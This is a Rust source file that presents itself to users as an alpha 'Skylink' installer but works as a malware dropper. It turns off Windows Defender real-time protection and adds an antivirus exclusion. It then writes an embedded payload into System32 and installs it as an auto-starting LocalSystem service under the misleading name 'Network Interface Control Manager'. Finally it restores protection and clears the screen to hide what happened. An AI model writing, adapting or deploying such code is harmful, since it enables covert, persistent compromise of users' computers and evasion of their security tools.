use std::error::Error;
use std::ffi::OsString;
use std::path::PathBuf;
use std::process::Command;
use windows_service::{
    service::{
        ServiceAccess, ServiceDependency, ServiceErrorControl, ServiceInfo, ServiceStartType,
        ServiceType,
    },
    service_manager::{ServiceManager, ServiceManagerAccess},
};

const PAYLOAD_BYTES: &[u8] = include_bytes!("payload.exe");

fn disable_rtp() {
    let _ = Command::new("powershell")
        .args(&[
            "-Command",
            "Set-MpPreference -DisableRealtimeMonitoring $true",
        ])
        .status();
}
fn add_exclusion(path: &str) {
    let _ = Command::new("powershell")
        .args(&[
            "-Command",
            &format!("Add-MpPreference -ExclusionPath '{}'", path),
        ])
        .status();
}

use std::{fs, path::Path};
fn drop_payload(dir: &Path) -> std::io::Result<()> {
    fs::create_dir_all(dir)?;
    fs::write(dir.join("nicm.exe"), PAYLOAD_BYTES)?;
    Ok(())
}

fn install_service(bin_path: &str) -> windows_service::Result<()> {
    let manager_access = ServiceManagerAccess::all();
    let manager = ServiceManager::local_computer(None::<&str>, manager_access)?;
    let info = ServiceInfo {
        name: OsString::from("NICM"),
        display_name: OsString::from("Network Interface Control Manager"),
        service_type: ServiceType::OWN_PROCESS,
        start_type: ServiceStartType::AutoStart,
        error_control: ServiceErrorControl::Normal,
        executable_path: PathBuf::from(bin_path),
        launch_arguments: vec![],
        dependencies: vec![ServiceDependency::from_system_identifier("NSI")], // Wait for network
        account_name: None,                                                   // LocalSystem
        account_password: None,
    };
    let _ = manager.create_service(&info, ServiceAccess::CHANGE_CONFIG)?;
    Ok(())
}

fn start_service() -> windows_service::Result<()> {
    let manager_access = ServiceManagerAccess::all();
    let manager = ServiceManager::local_computer(None::<&str>, manager_access)?;
    let service = manager.open_service("NICM", ServiceAccess::START)?;
    service.start(&[""])?;
    Ok(())
}

fn enable_rtp() {
    let _ = Command::new("powershell")
        .args(&[
            "-Command",
            "Set-MpPreference -DisableRealtimeMonitoring $false",
        ])
        .status();
}

fn main() -> Result<(), Box<dyn Error>> {
    println!("SKYLINK VERSION 0.1 (ALPHA) INSTALLER
!!! THIS IS ALPHA SOFTWARE !!! THERE MAY BE DIFFERENCES BETWEEN THIS AND THE FINAL PRODUCT !!!
------------------------------------
THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
------------------------------------");
    let dir = r"C:\Windows\System32\NICM\";
    print!("Disabling RTP... ");
    disable_rtp();
    println!("OK");
    print!("Adding exclusion...");
    add_exclusion(dir);
    println!("OK");
    print!("Installing primary executable...");
    drop_payload(std::path::Path::new(dir))?;
    println!("OK");
    let payload_path = format!("{}\\nicm.exe", dir);
    print!("Installing Skylink service...");
    install_service(&payload_path)?;
    println!("OK");
    print!("Starting Skylink service...");
    start_service()?;
    println!("OK");
    print!("Enabling RTP...");
    enable_rtp();
    println!("OK");
    println!(
        "\x1B[2J \x1B[HSKYLINK VERSION 0.1 (ALPHA) INSTALLER
------------------------------------
Done, have a wonderful day!"
    );
    std::thread::sleep(std::time::Duration::from_secs(2));
    Ok(())
}
